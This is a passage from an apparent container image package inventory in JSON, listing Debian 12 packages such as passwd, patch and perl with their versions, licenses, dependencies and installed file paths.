"/usr/share/pandoc/data/templates/default.biblatex", "/usr/share/pandoc/data/templates/default.bibtex", "/usr/share/pandoc/data/templates/default.commonmark", "/usr/share/pandoc/data/templates/default.context", "/usr/share/pandoc/data/templates/default.docbook4", "/usr/share/pandoc/data/templates/default.docbook5", "/usr/share/pandoc/data/templates/default.dokuwiki", "/usr/share/pandoc/data/templates/default.dzslides", "/usr/share/pandoc/data/templates/default.epub2", "/usr/share/pandoc/data/templates/default.epub3", "/usr/share/pandoc/data/templates/default.haddock", "/usr/share/pandoc/data/templates/default.html4", "/usr/share/pandoc/data/templates/default.html5", "/usr/share/pandoc/data/templates/default.icml", "/usr/share/pandoc/data/templates/default.jats_archiving", "/usr/share/pandoc/data/templates/default.jats_articleauthoring", "/usr/share/pandoc/data/templates/default.jats_publishing", "/usr/share/pandoc/data/templates/default.jira", "/usr/share/pandoc/data/templates/default.latex", "/usr/share/pandoc/data/templates/default.man", "/usr/share/pandoc/data/templates/default.markdown", "/usr/share/pandoc/data/templates/default.markua", "/usr/share/pandoc/data/templates/default.mediawiki", "/usr/share/pandoc/data/templates/default.ms", "/usr/share/pandoc/data/templates/default.muse", "/usr/share/pandoc/data/templates/default.opendocument", "/usr/share/pandoc/data/templates/default.opml", "/usr/share/pandoc/data/templates/default.org", "/usr/share/pandoc/data/templates/default.plain", "/usr/share/pandoc/data/templates/default.revealjs", "/usr/share/pandoc/data/templates/default.rst", "/usr/share/pandoc/data/templates/default.rtf", "/usr/share/pandoc/data/templates/default.s5", "/usr/share/pandoc/data/templates/default.slideous", "/usr/share/pandoc/data/templates/default.slidy", "/usr/share/pandoc/data/templates/default.tei", "/usr/share/pandoc/data/templates/default.texinfo", "/usr/share/pandoc/data/templates/default.textile", "/usr/share/pandoc/data/templates/default.xwiki", "/usr/share/pandoc/data/templates/default.zimwiki", "/usr/share/pandoc/data/templates/styles.html", "/usr/share/pandoc/data/translations/am.yaml", "/usr/share/pandoc/data/translations/ar.yaml", "/usr/share/pandoc/data/translations/bg.yaml", "/usr/share/pandoc/data/translations/bn.yaml", "/usr/share/pandoc/data/translations/ca.yaml", "/usr/share/pandoc/data/translations/cs.yaml", "/usr/share/pandoc/data/translations/da.yaml", "/usr/share/pandoc/data/translations/de.yaml", "/usr/share/pandoc/data/translations/el.yaml", "/usr/share/pandoc/data/translations/en.yaml", "/usr/share/pandoc/data/translations/eo.yaml", "/usr/share/pandoc/data/translations/es.yaml", "/usr/share/pandoc/data/translations/et.yaml", "/usr/share/pandoc/data/translations/eu.yaml", "/usr/share/pandoc/data/translations/fa.yaml", "/usr/share/pandoc/data/translations/fi.yaml", "/usr/share/pandoc/data/translations/fr.yaml", "/usr/share/pandoc/data/translations/he.yaml", "/usr/share/pandoc/data/translations/hi.yaml", "/usr/share/pandoc/data/translations/hr.yaml", "/usr/share/pandoc/data/translations/hu.yaml", "/usr/share/pandoc/data/translations/is.yaml", "/usr/share/pandoc/data/translations/it.yaml", "/usr/share/pandoc/data/translations/km.yaml", "/usr/share/pandoc/data/translations/ko.yaml", "/usr/share/pandoc/data/translations/lo.yaml", "/usr/share/pandoc/data/translations/lt.yaml", "/usr/share/pandoc/data/translations/lv.yaml", "/usr/share/pandoc/data/translations/nl.yaml", "/usr/share/pandoc/data/translations/no.yaml", "/usr/share/pandoc/data/translations/pl.yaml", "/usr/share/pandoc/data/translations/pt.yaml", "/usr/share/pandoc/data/translations/rm.yaml", "/usr/share/pandoc/data/translations/ro.yaml", "/usr/share/pandoc/data/translations/ru.yaml", "/usr/share/pandoc/data/translations/sk.yaml", "/usr/share/pandoc/data/translations/sl.yaml", "/usr/share/pandoc/data/translations/sq.yaml", "/usr/share/pandoc/data/translations/sr-cyrl.yaml", "/usr/share/pandoc/data/translations/sr.yaml", "/usr/share/pandoc/data/translations/sv.yaml", "/usr/share/pandoc/data/translations/th.yaml", "/usr/share/pandoc/data/translations/tr.yaml", "/usr/share/pandoc/data/translations/uk.yaml", "/usr/share/pandoc/data/translations/ur.yaml", "/usr/share/pandoc/data/translations/vi.yaml", "/usr/share/pandoc/data/translations/zh-Hans.yaml", "/usr/share/pandoc/data/translations/zh-Hant.yaml" ], "AnalyzedBy": "dpkg" }, { "ID": "passwd@1:4.13+dfsg1-1+deb12u2", "Name": "passwd", "Identifier": { "PURL": "pkg:deb/debian/passwd@4.13%2Bdfsg1-1%2Bdeb12u2?arch=amd64\u0026distro=debian-12.13\u0026epoch=1", "UID": "e4c841e2130768" }, "Version": "4.13+dfsg1", "Release": "1+deb12u2", "Epoch": 1, "Arch": "amd64", "SrcName": "shadow", "SrcVersion": "4.13+dfsg1", "SrcRelease": "1+deb12u2", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-1.0-only", "GPL-2.0-or-later", "public-domain", "GPL-2.0-only" ], "Maintainer": "Shadow package maintainers \u003cpkg-shadow-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libaudit1@1:3.0.9-1", "libc6@2.36-9+deb12u13", "libcrypt1@1:4.4.33-2", "libpam-modules@1.5.2-6+deb12u2", "libpam0g@1.5.2-6+deb12u2", "libselinux1@3.4-1+b6", "libsemanage2@3.4-1+b5" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/sbin/shadowconfig", "/usr/bin/chage", "/usr/bin/chfn", "/usr/bin/chsh", "/usr/bin/expiry", "/usr/bin/gpasswd", "/usr/bin/passwd", "/usr/lib/tmpfiles.d/passwd.conf", "/usr/sbin/chgpasswd", "/usr/sbin/chpasswd", "/usr/sbin/cppw", "/usr/sbin/groupadd", "/usr/sbin/groupdel", "/usr/sbin/groupmems", "/usr/sbin/groupmod", "/usr/sbin/grpck", "/usr/sbin/grpconv", "/usr/sbin/grpunconv", "/usr/sbin/newusers", "/usr/sbin/pwck", "/usr/sbin/pwconv", "/usr/sbin/pwunconv", "/usr/sbin/useradd", "/usr/sbin/userdel", "/usr/sbin/usermod", "/usr/sbin/vipw", "/usr/share/doc/passwd/NEWS.Debian.gz", "/usr/share/doc/passwd/README.Debian", "/usr/share/doc/passwd/TODO.Debian", "/usr/share/doc/passwd/changelog.Debian.gz", "/usr/share/doc/passwd/changelog.gz", "/usr/share/doc/passwd/copyright", "/usr/share/doc/passwd/examples/passwd.expire.cron", "/usr/share/lintian/overrides/passwd", "/usr/share/man/cs/man1/expiry.1.gz", "/usr/share/man/cs/man1/gpasswd.1.gz", "/usr/share/man/cs/man5/gshadow.5.gz", "/usr/share/man/cs/man5/passwd.5.gz", "/usr/share/man/cs/man5/shadow.5.gz", "/usr/share/man/cs/man8/groupadd.8.gz", "/usr/share/man/cs/man8/groupdel.8.gz", "/usr/share/man/cs/man8/groupmod.8.gz", "/usr/share/man/cs/man8/grpck.8.gz", "/usr/share/man/cs/man8/vipw.8.gz", "/usr/share/man/da/man1/chfn.1.gz", "/usr/share/man/da/man5/gshadow.5.gz", "/usr/share/man/da/man8/groupdel.8.gz", "/usr/share/man/da/man8/vipw.8.gz", "/usr/share/man/de/man1/chage.1.gz", "/usr/share/man/de/man1/chfn.1.gz", "/usr/share/man/de/man1/chsh.1.gz", "/usr/share/man/de/man1/expiry.1.gz", "/usr/share/man/de/man1/gpasswd.1.gz", "/usr/share/man/de/man1/passwd.1.gz", "/usr/share/man/de/man5/gshadow.5.gz", "/usr/share/man/de/man5/passwd.5.gz", "/usr/share/man/de/man5/shadow.5.gz", "/usr/share/man/de/man8/chgpasswd.8.gz", "/usr/share/man/de/man8/chpasswd.8.gz", "/usr/share/man/de/man8/groupadd.8.gz", "/usr/share/man/de/man8/groupdel.8.gz", "/usr/share/man/de/man8/groupmems.8.gz", "/usr/share/man/de/man8/groupmod.8.gz", "/usr/share/man/de/man8/grpck.8.gz", "/usr/share/man/de/man8/newusers.8.gz", "/usr/share/man/de/man8/pwck.8.gz", "/usr/share/man/de/man8/pwconv.8.gz", "/usr/share/man/de/man8/useradd.8.gz", "/usr/share/man/de/man8/userdel.8.gz", "/usr/share/man/de/man8/usermod.8.gz", "/usr/share/man/de/man8/vipw.8.gz", "/usr/share/man/fi/man1/chfn.1.gz", "/usr/share/man/fi/man1/chsh.1.gz", "/usr/share/man/fr/man1/chage.1.gz", "/usr/share/man/fr/man1/chfn.1.gz", "/usr/share/man/fr/man1/chsh.1.gz", "/usr/share/man/fr/man1/expiry.1.gz", "/usr/share/man/fr/man1/gpasswd.1.gz", "/usr/share/man/fr/man1/passwd.1.gz", "/usr/share/man/fr/man5/gshadow.5.gz", "/usr/share/man/fr/man5/passwd.5.gz", "/usr/share/man/fr/man5/shadow.5.gz", "/usr/share/man/fr/man5/subgid.5.gz", "/usr/share/man/fr/man5/subuid.5.gz", "/usr/share/man/fr/man8/chgpasswd.8.gz", "/usr/share/man/fr/man8/chpasswd.8.gz", "/usr/share/man/fr/man8/groupadd.8.gz", "/usr/share/man/fr/man8/groupdel.8.gz", "/usr/share/man/fr/man8/groupmems.8.gz", "/usr/share/man/fr/man8/groupmod.8.gz", "/usr/share/man/fr/man8/grpck.8.gz", "/usr/share/man/fr/man8/newusers.8.gz", "/usr/share/man/fr/man8/pwck.8.gz", "/usr/share/man/fr/man8/pwconv.8.gz", "/usr/share/man/fr/man8/useradd.8.gz", "/usr/share/man/fr/man8/userdel.8.gz", "/usr/share/man/fr/man8/usermod.8.gz", "/usr/share/man/fr/man8/vipw.8.gz", "/usr/share/man/hu/man1/chsh.1.gz", "/usr/share/man/hu/man1/gpasswd.1.gz", "/usr/share/man/hu/man1/passwd.1.gz", "/usr/share/man/hu/man5/passwd.5.gz", "/usr/share/man/id/man1/chsh.1.gz", "/usr/share/man/id/man8/useradd.8.gz", "/usr/share/man/it/man1/chage.1.gz", "/usr/share/man/it/man1/chfn.1.gz", "/usr/share/man/it/man1/chsh.1.gz", "/usr/share/man/it/man1/expiry.1.gz", "/usr/share/man/it/man1/gpasswd.1.gz", "/usr/share/man/it/man1/passwd.1.gz", "/usr/share/man/it/man5/gshadow.5.gz", "/usr/share/man/it/man5/passwd.5.gz", "/usr/share/man/it/man5/shadow.5.gz", "/usr/share/man/it/man8/chgpasswd.8.gz", "/usr/share/man/it/man8/chpasswd.8.gz", "/usr/share/man/it/man8/groupadd.8.gz", "/usr/share/man/it/man8/groupdel.8.gz", "/usr/share/man/it/man8/groupmems.8.gz", "/usr/share/man/it/man8/groupmod.8.gz", "/usr/share/man/it/man8/grpck.8.gz", "/usr/share/man/it/man8/newusers.8.gz", "/usr/share/man/it/man8/pwck.8.gz", "/usr/share/man/it/man8/pwconv.8.gz", "/usr/share/man/it/man8/useradd.8.gz", "/usr/share/man/it/man8/userdel.8.gz", "/usr/share/man/it/man8/usermod.8.gz", "/usr/share/man/it/man8/vipw.8.gz", "/usr/share/man/ja/man1/chage.1.gz", "/usr/share/man/ja/man1/chfn.1.gz", "/usr/share/man/ja/man1/chsh.1.gz", "/usr/share/man/ja/man1/expiry.1.gz", "/usr/share/man/ja/man1/gpasswd.1.gz", "/usr/share/man/ja/man1/passwd.1.gz", "/usr/share/man/ja/man5/passwd.5.gz", "/usr/share/man/ja/man5/shadow.5.gz", "/usr/share/man/ja/man8/chpasswd.8.gz", "/usr/share/man/ja/man8/groupadd.8.gz", "/usr/share/man/ja/man8/groupdel.8.gz", "/usr/share/man/ja/man8/groupmod.8.gz", "/usr/share/man/ja/man8/grpck.8.gz", "/usr/share/man/ja/man8/newusers.8.gz", "/usr/share/man/ja/man8/pwck.8.gz", "/usr/share/man/ja/man8/pwconv.8.gz", "/usr/share/man/ja/man8/useradd.8.gz", "/usr/share/man/ja/man8/userdel.8.gz", "/usr/share/man/ja/man8/usermod.8.gz", "/usr/share/man/ja/man8/vipw.8.gz", "/usr/share/man/ko/man1/chfn.1.gz", "/usr/share/man/ko/man1/chsh.1.gz", "/usr/share/man/ko/man5/passwd.5.gz", "/usr/share/man/ko/man8/vipw.8.gz", "/usr/share/man/man1/chage.1.gz", "/usr/share/man/man1/chfn.1.gz", "/usr/share/man/man1/chsh.1.gz", "/usr/share/man/man1/expiry.1.gz", "/usr/share/man/man1/gpasswd.1.gz", "/usr/share/man/man1/passwd.1.gz", "/usr/share/man/man5/gshadow.5.gz", "/usr/share/man/man5/passwd.5.gz", "/usr/share/man/man5/shadow.5.gz", "/usr/share/man/man5/subgid.5.gz", "/usr/share/man/man5/subuid.5.gz", "/usr/share/man/man8/chgpasswd.8.gz", "/usr/share/man/man8/chpasswd.8.gz", "/usr/share/man/man8/cppw.8.gz", "/usr/share/man/man8/groupadd.8.gz", "/usr/share/man/man8/groupdel.8.gz", "/usr/share/man/man8/groupmems.8.gz", "/usr/share/man/man8/groupmod.8.gz", "/usr/share/man/man8/grpck.8.gz", "/usr/share/man/man8/newusers.8.gz", "/usr/share/man/man8/pwck.8.gz", "/usr/share/man/man8/pwconv.8.gz", "/usr/share/man/man8/useradd.8.gz", "/usr/share/man/man8/userdel.8.gz", "/usr/share/man/man8/usermod.8.gz", "/usr/share/man/man8/vipw.8.gz", "/usr/share/man/pl/man1/chage.1.gz", "/usr/share/man/pl/man1/chsh.1.gz", "/usr/share/man/pl/man1/expiry.1.gz", "/usr/share/man/pl/man8/groupadd.8.gz", "/usr/share/man/pl/man8/groupdel.8.gz", "/usr/share/man/pl/man8/groupmems.8.gz", "/usr/share/man/pl/man8/groupmod.8.gz", "/usr/share/man/pl/man8/grpck.8.gz", "/usr/share/man/pl/man8/userdel.8.gz", "/usr/share/man/pl/man8/usermod.8.gz", "/usr/share/man/pl/man8/vipw.8.gz", "/usr/share/man/pt_BR/man1/gpasswd.1.gz", "/usr/share/man/pt_BR/man5/passwd.5.gz", "/usr/share/man/pt_BR/man5/shadow.5.gz", "/usr/share/man/pt_BR/man8/groupadd.8.gz", "/usr/share/man/pt_BR/man8/groupdel.8.gz", "/usr/share/man/pt_BR/man8/groupmod.8.gz", "/usr/share/man/ru/man1/chage.1.gz", "/usr/share/man/ru/man1/chfn.1.gz", "/usr/share/man/ru/man1/chsh.1.gz", "/usr/share/man/ru/man1/expiry.1.gz", "/usr/share/man/ru/man1/gpasswd.1.gz", "/usr/share/man/ru/man1/passwd.1.gz", "/usr/share/man/ru/man5/gshadow.5.gz", "/usr/share/man/ru/man5/passwd.5.gz", "/usr/share/man/ru/man5/shadow.5.gz", "/usr/share/man/ru/man8/chgpasswd.8.gz", "/usr/share/man/ru/man8/chpasswd.8.gz", "/usr/share/man/ru/man8/groupadd.8.gz", "/usr/share/man/ru/man8/groupdel.8.gz", "/usr/share/man/ru/man8/groupmems.8.gz", "/usr/share/man/ru/man8/groupmod.8.gz", "/usr/share/man/ru/man8/grpck.8.gz", "/usr/share/man/ru/man8/newusers.8.gz", "/usr/share/man/ru/man8/pwck.8.gz", "/usr/share/man/ru/man8/pwconv.8.gz", "/usr/share/man/ru/man8/useradd.8.gz", "/usr/share/man/ru/man8/userdel.8.gz", "/usr/share/man/ru/man8/usermod.8.gz", "/usr/share/man/ru/man8/vipw.8.gz", "/usr/share/man/sv/man1/chage.1.gz", "/usr/share/man/sv/man1/chsh.1.gz", "/usr/share/man/sv/man1/expiry.1.gz", "/usr/share/man/sv/man1/passwd.1.gz", "/usr/share/man/sv/man5/gshadow.5.gz", "/usr/share/man/sv/man5/passwd.5.gz", "/usr/share/man/sv/man8/groupadd.8.gz", "/usr/share/man/sv/man8/groupdel.8.gz", "/usr/share/man/sv/man8/groupmems.8.gz", "/usr/share/man/sv/man8/groupmod.8.gz", "/usr/share/man/sv/man8/grpck.8.gz", "/usr/share/man/sv/man8/pwck.8.gz", "/usr/share/man/sv/man8/userdel.8.gz", "/usr/share/man/sv/man8/vipw.8.gz", "/usr/share/man/tr/man1/chage.1.gz", "/usr/share/man/tr/man1/chfn.1.gz", "/usr/share/man/tr/man1/passwd.1.gz", "/usr/share/man/tr/man5/passwd.5.gz", "/usr/share/man/tr/man5/shadow.5.gz", "/usr/share/man/tr/man8/groupadd.8.gz", "/usr/share/man/tr/man8/groupdel.8.gz", "/usr/share/man/tr/man8/groupmod.8.gz", "/usr/share/man/tr/man8/useradd.8.gz", "/usr/share/man/tr/man8/userdel.8.gz", "/usr/share/man/tr/man8/usermod.8.gz", "/usr/share/man/uk/man1/chage.1.gz", "/usr/share/man/uk/man1/chfn.1.gz", "/usr/share/man/uk/man1/chsh.1.gz", "/usr/share/man/uk/man1/expiry.1.gz", "/usr/share/man/uk/man1/gpasswd.1.gz", "/usr/share/man/uk/man1/passwd.1.gz", "/usr/share/man/uk/man5/gshadow.5.gz", "/usr/share/man/uk/man5/passwd.5.gz", "/usr/share/man/uk/man5/shadow.5.gz", "/usr/share/man/uk/man8/chgpasswd.8.gz", "/usr/share/man/uk/man8/chpasswd.8.gz", "/usr/share/man/uk/man8/groupadd.8.gz", "/usr/share/man/uk/man8/groupdel.8.gz", "/usr/share/man/uk/man8/groupmems.8.gz", "/usr/share/man/uk/man8/groupmod.8.gz", "/usr/share/man/uk/man8/grpck.8.gz", "/usr/share/man/uk/man8/newusers.8.gz", "/usr/share/man/uk/man8/pwck.8.gz", "/usr/share/man/uk/man8/pwconv.8.gz", "/usr/share/man/uk/man8/useradd.8.gz", "/usr/share/man/uk/man8/userdel.8.gz", "/usr/share/man/uk/man8/usermod.8.gz", "/usr/share/man/uk/man8/vipw.8.gz", "/usr/share/man/zh_CN/man1/chage.1.gz", "/usr/share/man/zh_CN/man1/chfn.1.gz", "/usr/share/man/zh_CN/man1/chsh.1.gz", "/usr/share/man/zh_CN/man1/expiry.1.gz", "/usr/share/man/zh_CN/man1/gpasswd.1.gz", "/usr/share/man/zh_CN/man1/passwd.1.gz", "/usr/share/man/zh_CN/man5/gshadow.5.gz", "/usr/share/man/zh_CN/man5/passwd.5.gz", "/usr/share/man/zh_CN/man5/shadow.5.gz", "/usr/share/man/zh_CN/man8/chgpasswd.8.gz", "/usr/share/man/zh_CN/man8/chpasswd.8.gz", "/usr/share/man/zh_CN/man8/groupadd.8.gz", "/usr/share/man/zh_CN/man8/groupdel.8.gz", "/usr/share/man/zh_CN/man8/groupmems.8.gz", "/usr/share/man/zh_CN/man8/groupmod.8.gz", "/usr/share/man/zh_CN/man8/grpck.8.gz", "/usr/share/man/zh_CN/man8/newusers.8.gz", "/usr/share/man/zh_CN/man8/pwck.8.gz", "/usr/share/man/zh_CN/man8/pwconv.8.gz", "/usr/share/man/zh_CN/man8/useradd.8.gz", "/usr/share/man/zh_CN/man8/userdel.8.gz", "/usr/share/man/zh_CN/man8/usermod.8.gz", "/usr/share/man/zh_CN/man8/vipw.8.gz", "/usr/share/man/zh_TW/man1/chfn.1.gz", "/usr/share/man/zh_TW/man1/chsh.1.gz", "/usr/share/man/zh_TW/man5/passwd.5.gz", "/usr/share/man/zh_TW/man8/chpasswd.8.gz", "/usr/share/man/zh_TW/man8/groupadd.8.gz", "/usr/share/man/zh_TW/man8/groupdel.8.gz", "/usr/share/man/zh_TW/man8/groupmod.8.gz", "/usr/share/man/zh_TW/man8/useradd.8.gz", "/usr/share/man/zh_TW/man8/userdel.8.gz", "/usr/share/man/zh_TW/man8/usermod.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "patch@2.7.6-7", "Name": "patch", "Identifier": { "PURL": "pkg:deb/debian/patch@2.7.6-7?arch=amd64\u0026distro=debian-12.13", "UID": "2f3606f74d478f18" }, "Version": "2.7.6", "Release": "7", "Arch": "amd64", "SrcName": "patch", "SrcVersion": "2.7.6", "SrcRelease": "7", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Laszlo Boszormenyi (GCS) \u003cgcs@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/patch", "/usr/share/doc/patch/AUTHORS", "/usr/share/doc/patch/NEWS.Debian.gz", "/usr/share/doc/patch/NEWS.gz", "/usr/share/doc/patch/README", "/usr/share/doc/patch/changelog.Debian.gz", "/usr/share/doc/patch/changelog.gz", "/usr/share/doc/patch/copyright", "/usr/share/man/man1/patch.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl@5.36.0-7+deb12u3", "Name": "perl", "Identifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "Version": "5.36.0", "Release": "7+deb12u3", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.36.0", "SrcRelease": "7+deb12u3", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "RRA-KEEP-THIS-NOTICE", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2", "HSIEH-DERIVATIVE", "HSIEH-BSD" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libperl5.36@5.36.0-7+deb12u3", "perl-base@5.36.0-7+deb12u3", "perl-modules-5.36@5.36.0-7+deb12u3" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/corelist", "/usr/bin/cpan", "/usr/bin/enc2xs", "/usr/bin/encguess", "/usr/bin/h2ph", "/usr/bin/h2xs", "/usr/bin/instmodsh", "/usr/bin/json_pp", "/usr/bin/libnetcfg", "/usr/bin/perlbug", "/usr/bin/perldoc", "/usr/bin/perlivp", "/usr/bin/perlthanks", "/usr/bin/piconv", "/usr/bin/pl2pm", "/usr/bin/pod2html", "/usr/bin/pod2man", "/usr/bin/pod2text", "/usr/bin/pod2usage", "/usr/bin/podchecker", "/usr/bin/prove", "/usr/bin/ptar", "/usr/bin/ptardiff", "/usr/bin/ptargrep", "/usr/bin/shasum", "/usr/bin/splain", "/usr/bin/streamzip", "/usr/bin/xsubpp", "/usr/bin/zipdetails", "/usr/share/doc/perl/README.Debian", "/usr/share/doc/perl/changelog.Debian.gz", "/usr/share/doc/perl/changelog.gz", "/usr/share/doc/perl/copyright", "/usr/share/lintian/overrides/perl", "/usr/share/man/man1/corelist.1.gz", "/usr/share/man/man1/cpan.1.gz", "/usr/share/man/man1/enc2xs.1.gz", "/usr/share/man/man1/encguess.1.gz", "/usr/share/man/man1/h2ph.1.gz", "/usr/share/man/man1/h2xs.1.gz", "/usr/share/man/man1/instmodsh.1.gz", "/usr/share/man/man1/json_pp.1.gz", "/usr/share/man/man1/libnetcfg.1.gz", "/usr/share/man/man1/perlbug.1.gz", "/usr/share/man/man1/perlivp.1.gz", "/usr/share/man/man1/piconv.1.gz", "/usr/share/man/man1/pl2pm.1.gz", "/usr/share/man/man1/pod2html.1.gz", "/usr/share/man/man1/pod2man.1.gz", "/usr/share/man/man1/pod2text.1.gz", "/usr/share/man/man1/pod2usage.1.gz", "/usr/share/man/man1/podchecker.1.gz", "/usr/share/man/man1/prove.1.gz", "/usr/share/man/man1/ptar.1.gz", "/usr/share/man/man1/ptardiff.1.gz", "/usr/share/man/man1/ptargrep.1.gz", "/usr/share/man/man1/shasum.1.gz", "/usr/share/man/man1/splain.1.gz", "/usr/share/man/man1/streamzip.1.gz", "/usr/share/man/man1/xsubpp.1.gz", "/usr/share/man/man1/zipdetails.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-base@5.36.0-7+deb12u3", "Name": "perl-base", "Identifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "Version": "5.36.0", "Release": "7+deb12u3", "Arch": "amd64", "SrcName": "perl", "SrcVersion": "5.36.0", "SrcRelease": "7+deb12u3", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "RRA-KEEP-THIS-NOTICE", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2", "HSIEH-DERIVATIVE", "HSIEH-BSD" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/bin/perl", "/usr/bin/perl5.36.0", "/usr/lib/x86_64-linux-gnu/perl-base/AutoLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Carp/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Config_git.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Config_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/Cwd.pm", "/usr/lib/x86_64-linux-gnu/perl-base/DynaLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Errno.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Exporter/Heavy.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Fcntl.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Basename.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Glob.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Path.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Spec/Unix.pm", "/usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm", "/usr/lib/x86_64-linux-gnu/perl-base/FileHandle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Getopt/Long.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Hash/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/File.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Handle.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Pipe.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Seekable.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Select.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/INET.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/IP.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IO/Socket/UNIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open2.pm", "/usr/lib/x86_64-linux-gnu/perl-base/IPC/Open3.pm", "/usr/lib/x86_64-linux-gnu/perl-base/List/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/POSIX.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Scalar/Util.pm", "/usr/lib/x86_64-linux-gnu/perl-base/SelectSaver.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Socket.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Symbol.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/ParseWords.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Tabs.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Text/Wrap.pm", "/usr/lib/x86_64-linux-gnu/perl-base/Tie/Hash.pm", "/usr/lib/x86_64-linux-gnu/perl-base/XSLoader.pm", "/usr/lib/x86_64-linux-gnu/perl-base/attributes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Cwd/Cwd.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Fcntl/Fcntl.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/File/Glob/Glob.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Hash/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/IO/IO.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/List/Util/Util.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/POSIX/POSIX.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/Socket/Socket.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/attributes/attributes.so", "/usr/lib/x86_64-linux-gnu/perl-base/auto/re/re.so", "/usr/lib/x86_64-linux-gnu/perl-base/base.pm", "/usr/lib/x86_64-linux-gnu/perl-base/builtin.pm", "/usr/lib/x86_64-linux-gnu/perl-base/bytes.pm", "/usr/lib/x86_64-linux-gnu/perl-base/bytes_heavy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/constant.pm", "/usr/lib/x86_64-linux-gnu/perl-base/feature.pm", "/usr/lib/x86_64-linux-gnu/perl-base/fields.pm", "/usr/lib/x86_64-linux-gnu/perl-base/integer.pm", "/usr/lib/x86_64-linux-gnu/perl-base/lib.pm", "/usr/lib/x86_64-linux-gnu/perl-base/locale.pm", "/usr/lib/x86_64-linux-gnu/perl-base/overload.pm", 